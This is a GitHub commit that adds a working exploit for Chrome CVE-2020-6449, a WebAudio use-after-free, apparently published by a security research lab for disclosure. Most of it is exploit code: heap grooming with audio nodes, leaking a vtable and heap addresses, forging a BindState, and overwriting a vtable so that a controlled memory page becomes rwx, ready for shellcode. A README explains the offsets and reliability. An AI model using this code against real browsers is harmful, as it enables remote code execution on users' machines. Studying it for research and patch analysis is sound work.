Skip to content

Commit a903841

Browse files
authored
Merge pull request #193 from m-y-mo/chrome_expoit_6449
Add CVE-2020-6449
2 parents 3459aab + dd14770 commit a903841

6 files changed

Lines changed: 412 additions & 0 deletions

File tree

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
## Exploit for Chrome CVE-2020-6449
2+
3+
The write up can be found [here](https://securitylab.github.com/research/CVE-2020-6449-exploit-chrome-uaf). This is a bug in the webaudio component I discovered in March 2020. Chromium issue ticket can be found [here.](https://bugs.chromium.org/p/chromium/issues/detail?id=1059686)
4+
5+
The exploit is tested on Ubuntu 18.04 LTS, version 80.0.3987.137, with the following build config: (Probably can reduce symbol level)
6+
7+
```
8+
is_debug=false
9+
symbol_level = 2
10+
blink_symbol_level = 2
11+
```
12+
13+
Offsets and object sizes used are based on the linux build.
14+
15+
The exploit is mostly reliable when testing on localhost with python `SimpleHTTPServer`. However, it is not 100% reliable. This is due to the hardcoded offset between the address of a memory bucket that was leaked and the memory bucket that is actually used to store controlled data. This offset is used in `calculateControlledAddress`:
16+
17+
```
18+
//Hardcoded offset between heap bins.
19+
let controlledAddress = bigIntView[0] + 0x184798n;
20+
```
21+
22+
This mostly fail when there is a broken pipe problem with the `SimpleHTTPServer`, which happens when the browser is not shutdown properly (shutdown by `Ctrl+C` rather than closing it from UI) Reliability can probably be improved by using memory buckets that are closer together, or just by putting the whole thing inside an out-of-process-iframe so that if it crashed, it can be restarted from the parent. (Although the bucket offset would need to be tuned again in this case)
23+
24+
The exploit takes a couple of minutes to run. If successful, it will overwrite memory permission for a page that holds our controlled data and will print out the address of this page. It can then be verified that the memory permission has been written to `rwx` for that page using `/proc/<id>/maps` (the renderer can be easy to spot by as it should consumed about 400Mb of memory). After that, executing shell code is easy, although I have not included or executed any shell code in this exploit.
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
// white-noise-processor.js
2+
function sleep(miliseconds) {
3+
var currentTime = new Date().getTime();
4+
while (currentTime + miliseconds >= new Date().getTime()) {
5+
}
6+
}
7+
8+
class DelayProcessor extends AudioWorkletProcessor {
9+
process (inputs, outputs, parameters) {
10+
sleep(2);
11+
return true
12+
}
13+
}
14+
15+
registerProcessor('delay-processor', DelayProcessor)
Lines changed: 298 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,298 @@
1+
<html>
2+
<head>
3+
<script>
4+
audioCtx = new OfflineAudioContext(1, 3072, 3072);
5+
audioCtx2 = new OfflineAudioContext(1, 3072, 3072);
6+
audioCtx3 = new OfflineAudioContext(1, 3072, 3072);
7+
audioCtx4 = new OfflineAudioContext(1, 3072, 3072);
8+
audioCtx5 = new OfflineAudioContext(1, 3072, 3072);
9+
panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]
10+
delayPad = new Array(2);
11+
counter = 0;
12+
delay_leak = null;
13+
controlled_data = null;
14+
controlled_data2 = null;
15+
arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()];
16+
pageOffset = 1736;
17+
hrtf_vtable_offset = 0xa1b6b30n;
18+
//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*)
19+
polymorphicInvokerOffset = 0x97b7d50n;
20+
21+
function sleep(miliseconds) {
22+
var currentTime = new Date().getTime();
23+
while (currentTime + miliseconds >= new Date().getTime()) {
24+
}
25+
}
26+
27+
function convertAddress(float) {
28+
let buf = new ArrayBuffer(4);
29+
floatView = new Float32Array(buf);
30+
intView = new Uint8Array(buf);
31+
floatView[0] = float;
32+
let out = '';
33+
for (let i = 3; i >= 0; i--) {
34+
if (intView[i] == 0) {
35+
out += '00';
36+
continue;
37+
}
38+
let result = intView[i].toString(16);
39+
out += intView[i].toString(16);
40+
}
41+
return out;
42+
}
43+
44+
function addressToInt64(float0, float1) {
45+
let buf = new ArrayBuffer(8);
46+
floatView = new Float32Array(buf);
47+
int8View = new Uint8Array(buf);
48+
floatView[0] = float0;
49+
floatView[1] = float1;
50+
//Fix alignment
51+
let bigBuf = new ArrayBuffer(8);
52+
let bigint8View = new Uint8Array(bigBuf);
53+
for (let i = 0; i < 6; i++) {
54+
bigint8View[i] = int8View[i +2];
55+
}
56+
bigint8View[6] = 0;
57+
bigint8View[7] = 0;
58+
let bigint64View = new BigUint64Array(bigBuf);
59+
return bigint64View[0];
60+
}
61+
62+
function load() {
63+
//Pad to make controlled data overlap with boundary
64+
delayPad[0] = audioCtx4.createDelay(0.1663);
65+
//Allocate controlled data
66+
controlled_data = audioCtx2.createDelay(0.1663);
67+
controlled_data2 = audioCtx5.createDelay(0.1663);
68+
69+
//Arrange the layout of the bucket 1152
70+
//First 3 chunks
71+
for (let i = 0; i < panners.length; i++) {
72+
panners[i].panningModel = 'HRTF';
73+
}
74+
//Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data.
75+
delay_leak = audioCtx.createDelay(0.0908);
76+
//3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler
77+
delay_leak.delayTime.value = 3 * 0.0009765625;
78+
//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first
79+
//before deleting so that the gap doesn't get occupied by these.
80+
sleep(1000);
81+
//Free up the first 3 chunks to arrange the layout, in reverse order
82+
for (let i = panners.length - 1; i >= 0; i--) {
83+
panners[i].panningModel = 'equalpower';
84+
}
85+
audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{
86+
createIframe();
87+
});
88+
}
89+
90+
function createIframe() {
91+
let iframe = document.createElement('iframe');
92+
iframe.style.display="none";
93+
iframe.setAttribute('id', 'ifrm');
94+
iframe.src = 'finished_delay_release2.html';
95+
document.body.appendChild(iframe);
96+
}
97+
98+
function calculatePageStart(address) {
99+
return address & (-4096n)
100+
}
101+
102+
function writeSource(vtableAddress, controlledAddress) {
103+
let buffer = audioCtx2.createBuffer(1, 512, 3072);
104+
105+
let data = buffer.getChannelData(0);
106+
let int8View = new Uint8Array(data.buffer);
107+
let baseAddress = vtableAddress - hrtf_vtable_offset - 16n;
108+
// let ropAddress = baseAddress + 158215616n + 564n - 16n;
109+
//Jump to BlobCompleteCaller::OnComplete to call virtual function
110+
let ropAddress = baseAddress + 0x305bd40n;
111+
//Just a NoOpt address
112+
let retAddress = ropAddress + 0x2cn;
113+
let addressBuffer = new ArrayBuffer(8);
114+
let bigIntView = new BigUint64Array(addressBuffer);
115+
bigIntView[0] = ropAddress;
116+
let ropInt8View = new Uint8Array(addressBuffer);
117+
//Stores address to BlobCompleteCaller::OnComplete
118+
let offset = 8 + 1736;
119+
let size = 8;
120+
for (let i = offset; i < offset + size; i++) {
121+
int8View[i] = ropInt8View[i - offset];
122+
}
123+
offset += size;
124+
//Stores bindState
125+
size = 0xa8;
126+
let polymorphicInvoker = baseAddress + polymorphicInvokerOffset;
127+
//PolymorphicInvoker:
128+
//mov rax,QWORD PTR [rdi + 0x20]; <-- function call
129+
//mov rsi,QWORD PTR [rdi + 0x98]; <-- size
130+
//mov rdx,QWORD PTR [rdi + 0xa0]; <-- access
131+
//add rdi, 0x28 <--- page address to set permission
132+
let setPermissions = baseAddress + 0x7f53980n;
133+
let bindState = new ArrayBuffer(size);
134+
let bindStateView = new DataView(bindState);
135+
bindStateView.setBigUint64(0, 1n, true);
136+
bindStateView.setBigUint64(8, polymorphicInvoker, true);
137+
bindStateView.setBigUint64(0x10, retAddress, true);
138+
bindStateView.setBigUint64(0x18, retAddress, true);
139+
bindStateView.setBigUint64(0x20, setPermissions, true);
140+
bindStateView.setBigUint64(0x98, 4096n, true); //<-- size
141+
bindStateView.setBigUint64(0xa0, 0x03n, true); //<-- access
142+
let bindStateIntView = new Uint8Array(bindState);
143+
for (let i = offset; i < offset + size; i++) {
144+
int8View[i] = bindStateIntView[i - offset];
145+
}
146+
//Replace with shell code.
147+
for (let i = offset + size; i < offset + size + 3; i++) {
148+
int8View[i] = 0x42;
149+
}
150+
151+
let src = audioCtx2.createBufferSource();
152+
src.buffer = buffer;
153+
src.connect(controlled_data);
154+
controlled_data.connect(audioCtx2.destination);
155+
src.start();
156+
audioCtx2.suspend((4 * 128)/3072.0);
157+
158+
audioCtx2.startRendering();
159+
}
160+
161+
function bigInt2Int8(bigInt) {
162+
let buffer = new ArrayBuffer(8);
163+
let bigIntView = new BigUint64Array(buffer);
164+
let intView = new Uint8Array(buffer);
165+
bigIntView[0] = bigInt;
166+
return intView;
167+
}
168+
169+
function rewriteVtable(controlledAddress) {
170+
let buffer = audioCtx3.createBuffer(1, 280, 3072);
171+
let data = buffer.getChannelData(0);
172+
let int8View = new Uint8Array(data.buffer);
173+
//Overwrite vtable to controlledAddress
174+
let fakeVtableAddr = controlledAddress + 1736n;
175+
let controlledInt8 = bigInt2Int8(fakeVtableAddr);
176+
for (let i = 1090; i < 1098; i++) {
177+
int8View[i] = controlledInt8[i - 1090];
178+
}
179+
//ControlledAddress + 16n now stores fake BindState
180+
controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n);
181+
for (let i = 1098; i < 1098 + 8; i++) {
182+
int8View[i] = controlledInt8[i - 1098];
183+
}
184+
let fakeObj = audioCtx3.createBufferSource();
185+
fakeObj.buffer = buffer;
186+
let delay = audioCtx3.createDelay(0.0908);
187+
fakeObj.connect(delay);
188+
delay.connect(audioCtx3.destination);
189+
fakeObj.start();
190+
audioCtx3.suspend((3 * 128)/3072.0).then(()=> {
191+
arr[3].panningModel = 'equalpower';
192+
});
193+
audioCtx3.startRendering();
194+
}
195+
196+
async function leak_addresses() {
197+
let src = audioCtx.createOscillator();
198+
src.connect(delay_leak);
199+
delay_leak.connect(audioCtx.destination);
200+
var buffer = await audioCtx.startRendering();
201+
src.disconnect(delay_leak);
202+
delay_leak.disconnect(audioCtx.destination);
203+
delete src;
204+
delete delay_leak;
205+
let x = [];
206+
for (let i = 0; i < 100; i++) {
207+
x.push(new ArrayBuffer(1024 * 1024));
208+
}
209+
let out = buffer.getChannelData(0);
210+
let addr0 = convertAddress(out[1]);
211+
addr0 = addr0.substring(0,4);
212+
let addr1 = convertAddress(out[2]);
213+
let addr2 = convertAddress(out[5]);
214+
addr2 = addr2.substring(0,4);
215+
let addr3 = convertAddress(out[6]);
216+
let div = document.getElementById("div1");
217+
div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2;
218+
let intVtable = addressToInt64(out[1], out[2]);
219+
let intHeap = addressToInt64(out[5], out[6]);
220+
let div2 = document.getElementById("div2");
221+
div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap;
222+
return {vtable: intVtable, heap: intHeap}
223+
}
224+
225+
function bigInt2hex(bigInt) {
226+
let result = new BigUint64Array([bigInt]);
227+
let resultInt8View = new Uint8Array(result.buffer);
228+
let out = '';
229+
for (let i = 7; i >= 0; i--) {
230+
if (resultInt8View[i] == 0) {
231+
out += '00';
232+
} else {
233+
out += resultInt8View[i].toString(16);
234+
}
235+
}
236+
return out
237+
}
238+
239+
function calculateControlledAddress(heapAddress) {
240+
//Replace offset as it can be unreliable in the size 72 bin
241+
let buffer = new ArrayBuffer(8);
242+
let int8View = new Uint8Array(buffer);
243+
let bigIntView = new BigUint64Array(buffer);
244+
bigIntView[0] = heapAddress;
245+
int8View[0] = 0x68;
246+
int8View[1] = 0x41;
247+
//Hardcoded offset between heap bins.
248+
let controlledAddress = bigIntView[0] + 0x184798n;
249+
250+
let out = bigInt2hex(controlledAddress);
251+
let page = bigInt2hex(controlledAddress + 0x700n);
252+
253+
let div3 = document.getElementById("div3");
254+
div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress;
255+
let div4 = document.getElementById("div4");
256+
div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx';
257+
return controlledAddress;
258+
}
259+
260+
function remove() {
261+
let frame = document.getElementById("ifrm");
262+
frame.parentNode.removeChild(frame);
263+
264+
if (counter < 32 + 4 * 7 + 2) {
265+
//Trigger bug to move chunk backwards
266+
let biquad = audioCtx.createBiquadFilter();
267+
counter++;
268+
console.log(counter);
269+
delete biquad;
270+
sleep(700);
271+
createIframe();
272+
} else {
273+
//Fill the gap
274+
for (let i = 0; i < arr.length; i++) {
275+
arr[i].panningModel = 'HRTF';
276+
}
277+
leak_addresses().then((results) => {
278+
controlledAddress = calculateControlledAddress(results.heap);
279+
writeSource(results.vtable, controlledAddress);
280+
for (let i = 0; i < 100; i++) {
281+
new ArrayBuffer(1024 * 1024);
282+
}
283+
setTimeout(()=> {
284+
rewriteVtable(controlledAddress);
285+
}, 1000
286+
);
287+
});
288+
}
289+
}
290+
</script>
291+
</head>
292+
<body onload="load()">
293+
<div id = "div1"></div>
294+
<div id = "div2"></div>
295+
<div id = "div3"></div>
296+
<div id = "div4"></div>
297+
</body>
298+
</html>
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<script>
5+
async function startStop() {
6+
let audioCtx = new OfflineAudioContext(1,3072,3072);
7+
await audioCtx.audioWorklet.addModule('test-processor2.js');
8+
let src = audioCtx.createConstantSource();
9+
src.start();
10+
src.stop();
11+
return audioCtx;
12+
}
13+
14+
function resume(audioCtx) {
15+
audioCtx.suspend((3 * 128)/3072.0).then(()=>{
16+
let dest = audioCtx.createOscillator();
17+
dest.start();
18+
for (let i = 1; i < 2000; i++) {
19+
dest = dest.connect(audioCtx.createPanner());
20+
}
21+
dest.connect(audioCtx.destination);
22+
let testNode = new AudioWorkletNode(audioCtx, 'test-processor', {'numberOfOutputs' : 0});
23+
let splitter = audioCtx.createChannelSplitter(2);
24+
let src2 = audioCtx.createOscillator();
25+
src2.connect(splitter);
26+
splitter.connect(audioCtx.destination, 1);
27+
splitter.connect(testNode, 0);
28+
for (let i = 0; i < 100; i++) {
29+
new ArrayBuffer(1024 * 1024 * 60);
30+
}
31+
setTimeout(()=>{
32+
audioCtx.resume();
33+
parent.remove();
34+
}, 100);
35+
});
36+
audioCtx.startRendering();
37+
}
38+
39+
function onLoad() {
40+
startStop().then(resume);
41+
}
42+
</script>
43+
</head>
44+
<body onload="onLoad()"/>
45+
</html>

0 commit comments

Comments
 (0)